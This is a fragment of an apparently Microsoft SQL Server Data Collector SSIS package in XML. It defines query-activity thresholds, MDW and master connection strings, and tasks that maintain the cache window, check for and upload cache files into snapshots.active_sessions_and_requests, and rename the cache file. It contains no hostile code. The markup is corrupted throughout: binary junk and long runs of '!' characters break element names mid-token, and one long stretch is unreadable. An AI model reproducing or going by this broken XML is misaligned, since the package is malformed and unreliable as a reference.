DTS:ObjectName="InterestingQueries_HighMemoryUsage"><DTS:VariableValue DTS:DataType="3">12800</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{F749610B-0097-4E18-AC45-92448389B8CC}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="InterestingQueries_HighTransactionCount"><DTS:VariableValue DTS:DataType="3">8</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{05FDE7F5-E28F-4B0D-A564-328115F89665}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="InterestingQueries_LargeResultset"><DTS:VariableValue DTS:DataType="3">1000000</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{F3053BBB-B032-4523-80B0-BBDFB3FAA960}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="InterestingQueries_LongRunningRequest"><DTS:VariableValue DTS:DataType="3">25000</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{2ED44D20-89E3-4FEA-88E6-CE8A86AD7B57}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="InterestingQueries_LongWaitingRequest"><DTS:VariableValue DTS:DataType="3">500</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{5F9FBD77-E7C8-47C8-B215-BAD55CD8B1F6}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="ItemID"><DTS:Variable	!!!!!!!!!!!!!!!!!!!!!!!!`T8xHvValue DTS:DataType="3">100</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{BAF382F0-D512-41DD-B071-3C911D345679}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="LoggingLevel"><DTS:VariableValue DTS:DataType="3">2</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{2815FBB1-5FF8-4239-B64F-157684EDC541}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="LogID"><DTS:VariableValue DTS:DataType="20">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{91DF209A-CDD3-4D5F-8B66-01F5BCD68451}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="LoopDuration"><DTS:VariableValue DTS:DataType="20">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{63509AC4-9FDF-401B-8BF7-D5E8A4E15D3E}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="LoopEventName"><DTS:VariableValue DTS:DataType="8">LOOPEVENT</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{6B59DA82-0FC8-4852-9B0A-72C222FEB41A}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="MDWConnectionString"><DTS:VariableValue DTS:DataType="8">Provider=SQLNCLI11;Data Source=(local);Integrated Security=SSPI;Initial Catalog=MDW;APP=SQL Server Data Collector</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{9CC205C1-0562-4615-8E43-C03F1149C479}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="ParentLogID"><DTS:VariableValue DTS:DataType="20">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{E0926573-ABF4-40F5-A41E-B7402B414B5E}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="SnapshotId"><DTS:VariableValue DTS:DataType="3">200</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{786411BF-45F1-40DE-9276-9C6315B227B7}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="SourceId"><DTS:VariableValue DTS:DataType="3">1</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{020B6D3D-5EA9-4AE5-92D6-8A3D3A500796}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="TargetConnectionString"><DTS:VariableValue DTS:DataType="8">Provider=SQLNCLI11;Initial Catalog=master;Data Source=(local);Integrated Security=SSPI;APP=SQL Server Data Collector</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{5E1A6507-A910-4627-85D2-E086F98658AE}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="TopThreshold"><DTS:VariableValue DTS:DataType="3">5</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="1"><DTS:Property DTS:DataType="8" DTS:Name="EventFilter">2,7,OnError,9,OnWarning</DTS:Property><DTS:Property DTS:EventName="OnError" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property><DTS:Property DTS:EventName="OnWarning" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property></DTS:LoggingOptions><DTS:Executables><DTS:Executable DTS:refId="Package\CWM - Remove Upload Snapshots Older Than CacheWindow" DTS:CreationName="Microsoft.SqlServer.Management.Collector.Tasks.CacheWindowMaintainanceTask, Microsoft.SqlServer.Management.CollectorTasks, Version=11.0	!!!!!!!!!!!!!!!!!!!!!!!!`U8
3Hv.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="Cache Window Maintainance Task" DTS:DTSID="{AFE8DBBE-1BFF-485D-84F7-C8E187C21AAD}" DTS:ExecutableType="Microsoft.SqlServer.Management.Collector.Tasks.CacheWindowMaintainanceTask, Microsoft.SqlServer.Management.CollectorTasks, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="CWM - Remove Upload Snapshots Older Than CacheWindow" DTS:TaskContact="Cache Window Maintainance Task; Microsoft Corporation; Microsoft SQL Server v10;  2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:PropertyExpression DTS:Name="CacheFileNamePrefixVarName">"User::InterestingQueriesSnapshotFileNamePrefixPattern"</DTS:PropertyExpression><DTS:ObjectData><InnerObject><CacheFileNamePrefixVarName Type="8" Value="User::InterestingQueriesSnapshotFileNamePrefixPattern"/><CacheWindow Type="3" Value="0"/><CollectionSetUID Type="8" Value=""/><CollectorTempDir Type="8" Value=""/><CollectorTypeUID Type="8" Value=""/><ConfigConnectionString Type="8" Value=""/><ExitEventName Type="8" Value=""/><InstanceName Type="8" Value=""/><ItemID Type="3" Value="0"/><LoggingLevel Type="3" Value="0"/><LoopEventName Type="8" Value=""/><MdwConnectionString Type="8" Value=""/><TargetConnectionString Type="8" Value=""/><TaskDisplayName Type="8" Value="Cache Window Maintainance Task"/></InnerObject></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\FAT - Check Cache File Exists" DTS:CreationName="DTS.FileAccessTask.2" DTS:Description="File Access Task" DTS:DTSID="{E84D592A-C532-49A6-9F99-108607D1A4E2}" DTS:ExecutableType="DTS.FileAccessTask.2" DTS:LocaleID="-1" DTS:ObjectName="FAT - Check Cache File Exists" DTS:TaskContact="File Access;Microsoft Corporation; Microsoft SQL Server codename Katmai; (C) 2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1"><DTS:Variables/><DTS:PropertyExpression DTS:Name="FilePath">@[User::CollectionCacheFileName]</DTS:PropertyExpression><DTS:PropertyExpression DTS:Name="Mode">0</DTS:PropertyExpression><DTS:ObjectData><FileAccessTask><Mode>0</Mode><FilePath>c:\perflogs\SETHS-SSISVSTA2_MSSQL.1_{2DC02BD6-E230-4C05-8516-4E8C0EF21F95}_100_QueryActivity.cache</FilePath></FileAccessTask></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\FEF - For each collected cache file try upload" DTS:CreationName="STOCK:FOREACHLOOP" DTS:Description="Foreach Loop Container" DTS:DTSID="{60544D92-92C2-4CB1-825A-8056E097A667}" DTS:ExecutableType="STOCK:FOREACHLOOP" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="FEF - For each collected cache file try upload"><DTS:ForEachEnumerator DTS:CreationName="DTS.ForEachFileEnumerator.3" DTS:DTSID="{812F6BCC-8665-42D5-9F36-96177AD3A6EB}" DTS:ObjectName="{812F6BCC-8665-42D5-9F36-96177AD3A6EB}"><DTS:PropertyExpression DTS:Name="Directory">@[User::CacheDirectory]</DTS:PropertyExpression><DTS:PropertyExpression DTS:Name="FileSpec">@[System::MachineName] + "_" + @[User::InstanceID] + "_{" +  @[User::CollectionSetUID] + "}_" +  (DT_WSTR, 10) @[User::ItemID] + "_QueryActivity*.temp.cache"</DTS:PropertyExpression><DTS:ObjectData><ForEachFileEnumeratorProperties><FEFEProperty Folder="c:\perflogs"/><FEFEProperty FileSpec="SETHS-SSISVSTA2_MSSQL.1_{2DC02BD6-E230-4C05-8516-4E8C0EF21F95}_100_QueryActivity*.temp.cache"/><FEFEProperty FileNameRetrievalType="0"/><FEFEProperty Recurse="0"/></ForEachFileEnumeratorProperties></DTS:ObjectData></DTS:ForEachEnumerator><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{10AD1705-C9D0-4C30-8228-74AE5AF6B586}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CurrentCollectionCacheFileName"><DTS:VariableValue DTS:DataType="8">C:\Users\macies\AppData\Local\Temp\ecodePe	!!!!!!!!!!!!!!!!!!!!!!!!`V8,HvrfWH\MACIES4_MSSQL.1_{{2DC02BD6-E230-4C05-8516-4E8C0EF21F95}}_100_QueryActivity.cache</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{6F9F2E68-57A0-4C96-8BDC-08F8CDBB329C}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="RowCount"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:Executables><DTS:Executable DTS:refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot" DTS:CreationName="SSIS.Pipeline.3" DTS:Description="Data Flow Task" DTS:DTSID="{1639B3FF-5CEF-4F96-82FB-DB30263CE1B2}" DTS:ExecutableType="SSIS.Pipeline.3" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="DFT - Upload collection snapshot" DTS:TaskContact="Performs high-performance data extraction, transformation and loading;Microsoft Corporation; Microsoft SQL Server v10; (C) 2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0"/><DTS:ObjectData><pipeline BLOBTempStoragePath="" bufferTempStoragePath="" version="1"><components><component refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\DRV - Add snapshot_id column" componentClassID="{49928E82-9C4E-49F0-AABE-3812B82707EC}" contactInfo="Derived Column;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Updates column values using expressions" name="DRV - Add snapshot_id column" usesDispositions="true"><inputs><input refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\DRV - Add snapshot_id column.Inputs[Derived Column Input]" description="Input to the Derived Column Transformation" name="Derived Column Input"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\DRV - Add snapshot_id column.Outputs[Derived Column Output]" description="Default Output of the Derived Column Transformation" exclusionGroup="1" name="Derived Column Output" synchronousInputId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\DRV - Add snapshot_id column.Inputs[Derived Column Input]"><outputColumns><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\DRV - Add snapshot_id column.Outputs[Derived Column Output].Columns[snapshot_id]" dataType="i4" errorOrTruncationOperation="Computation" errorRowDisposition="FailComponent" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\DRV - Add snapshot_id column.Outputs[Derived Column Output].Columns[snapshot_id]" name="snapshot_id" truncationRowDisposition="FailComponent"><properties><property containsID="true" dataType="System.String" description="Derived Column Expression" name="Expression">@[User::SnapshotId]</property><property containsID="true" dataType="System.String" description="Derived Column Friendly Expression" expressionType="Notify" name="FriendlyExpression">@[User::SnapshotId]</property></properties></outputColumn></outputColumns><externalMetadataColumns/></output><output refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\DRV - Add snapshot_id column.Outputs[Derived Column Error Output]" description="Error Output of the Derived Column Transformation" exclusionGroup="1" isErrorOut="true" name="Derived Column Error Output" synchronousInputId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\DRV - Add snapshot_id column.Inputs[Derived Column Input]"><outputColumns><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\DRV - Add s	!!!!!!!!!!!!!!!!!!!!!!!!`W8qZHvnapshot_id column.Outputs[Derived Column Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\DRV - Add snapshot_id column.Outputs[Derived Column Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\DRV - Add snapshot_id column.Outputs[Derived Column Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\DRV - Add snapshot_id column.Outputs[Derived Column Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table" componentClassID="{4ADA7EAA-136C-4215-8098-D7A7C27FC0D1}" contactInfo="OLE DB Destination;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;4" description="OLE DB Destination" name="ODS - Upload snapshots into active_sessions_and_requests table" usesDispositions="true" version="4"><properties><property dataType="System.Int32" description="The number of seconds before a command times out.  A value of 0 indicates an infinite time-out." name="CommandTimeout">0</property><property dataType="System.String" description="Specifies the name of the database object used to open a rowset." name="OpenRowset">[snapshots].[active_sessions_and_requests]</property><property dataType="System.String" description="Specifies the variable that contains the name of the database object used to open a rowset." name="OpenRowsetVariable"/><property dataType="System.String" description="The SQL command to be executed." name="SqlCommand" UITypeEditor="Microsoft.DataTransformationServices.Controls.ModalMultilineStringEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91"/><property dataType="System.Int32" description="Specifies the column code page to use when code page information is unavailable from the data source." name="DefaultCodePage">1252</property><property dataType="System.Boolean" description="Forces the use of the DefaultCodePage property value when describing character data." name="AlwaysUseDefaultCodePage">false</property><property dataType="System.Int32" description="Specifies the mode used to access the database." name="AccessMode" typeConverter="AccessMode">3</property><property dataType="System.Boolean" description="Indicates whether the values supplied for identity columns will be copied to the destination. If false, values for identity columns will be auto-generated at the destination. Applies only if fast load is turned on." name="FastLoadKeepIdentity">false</property><property dataType="System.Boolean" description="Indicates whether the columns containing null will have null inserted in the destination. If false, columns containing null will have their default values inserted at the destinaton. Applies only if fast load is turned on." name="FastLoadKeepNulls">false</property><property dataType="System.String" description="Specifies options to be used with fast load.  Applies only if fast load is turned on." name="FastLoadOptions">CHECK_CONSTRAINTS</property><property dataType="System.Int32" description="Specifies when commits are issued during data insertion.  A value of 0 specifies that one commit will be issued at the end of data insertion.  Applies only if fast load is turned on." name="FastLoadMaxInsertCommitSize">0</property></properties><connections><connection refId="Package\FEF - For each collected cache file try upload\DFT - Upload collection snapshot\ODS - Upload snapshots into active_sessions_and_requests table.Connections[	!!!!!!!!!!!!!!!!!!!!!!!!`2X?}.HhP>Q8^R}STpUV@W`:axYbxcHdefghP5iTj tklmXno(p0qOr`osȎt0uvwhx+y8Kzj{|p}~@'xFeHP"A aX(<`\{0h88Wwpص@	x3	R	Hr					P
.
 N
m

X

(

)`Ih0h8%Ddpآ@
x 
?
H_
~



P
 ;ZyX(`6U0uh81Qpp؏@x
,HLkP (GfX(`#B0bh8>p]|@xH9XxP	
 4S
Xs(`/0Onh8+pJi@ !x"#H&$E%e&'(P)* +!,@-X`./(012`340<5[6{7h8й98:;<p7=V>@v?@AxBCHD2ERFqGHPIJ KL-MXMNlO(YZIJ	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`Y?iBHv" DTS:CreationName="" DTS:DTSID="{1257FA13-8C12-433B-9CFA-6EFEB3E660DF}" DTS:From="Package\SEQ - Capture and analyze query statistics and query plan and text\FAT - Check Interesting Queries Last Snapshot exists" DTS:LogicalAnd="True" DTS:ObjectName="Last Snapshot Missing" DTS:To="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Last Snapshot" DTS:Value="1"/></DTS:PrecedenceConstraints></DTS:Executable><DTS:Executable DTS:refId="Package\SEQ - Rename Collection Cache File" DTS:CreationName="STOCK:SEQUENCE" DTS:Description="Sequence Container" DTS:DTSID="{0007AEF3-7F17-4168-89F0-4B015E6004EA}" DTS:ExecutableType="STOCK:SEQUENCE" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SEQ - Rename Collection Cache File"><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{3EEA7BDD-73CC-465C-8727-577DF6DDE716}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="SyncRoot"><DTS:VariableValue DTS:DataType="8">QueryActivityLock</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:Executables><DTS:Executable DTS:refId="Package\SEQ - Rename Collection Cache File\FST - Rename Cache File" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.FileSystemTask.FileSystemTask, Microsoft.SqlServer.FileSystemTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="File System Task" DTS:DTSID="{6C243850-BA61-44CA-85FF-EE9C4AF98AB1}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.FileSystemTask.FileSystemTask, Microsoft.SqlServer.FileSystemTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="FST - Rename Cache File" DTS:TaskContact="File System Task;Microsoft Corporation; Microsoft SQL Server code name &quot;Katmai&quot;;  2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0"/><DTS:ObjectData><FileSystemData TaskOperationType="RenameFile" TaskOverwriteDestFile="True" TaskSourcePath="User::CollectionCacheFileName" TaskIsSourceVariable="True" TaskDestinationPath="User::CollectionCacheFileNameOutput" TaskIsDestinationVariable="True"/></DTS:ObjectData></DTS:Executable></DTS:Executables></DTS:Executable><DTS:Executable DTS:refId="Package\SQL - Get SnapshotId" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="Execute SQL Task" DTS:DTSID="{7E54C204-6CEE-47E5-9970-9CA34861603C}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Get SnapshotId" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server code name &quot;Katmai&quot;;  2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="1"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{6F8B3DEC-B78D-4784-B3DB-455D7A51DA93}" SQLTask:SqlStatementSource="{call [core].[sp_create_snapshot](?, 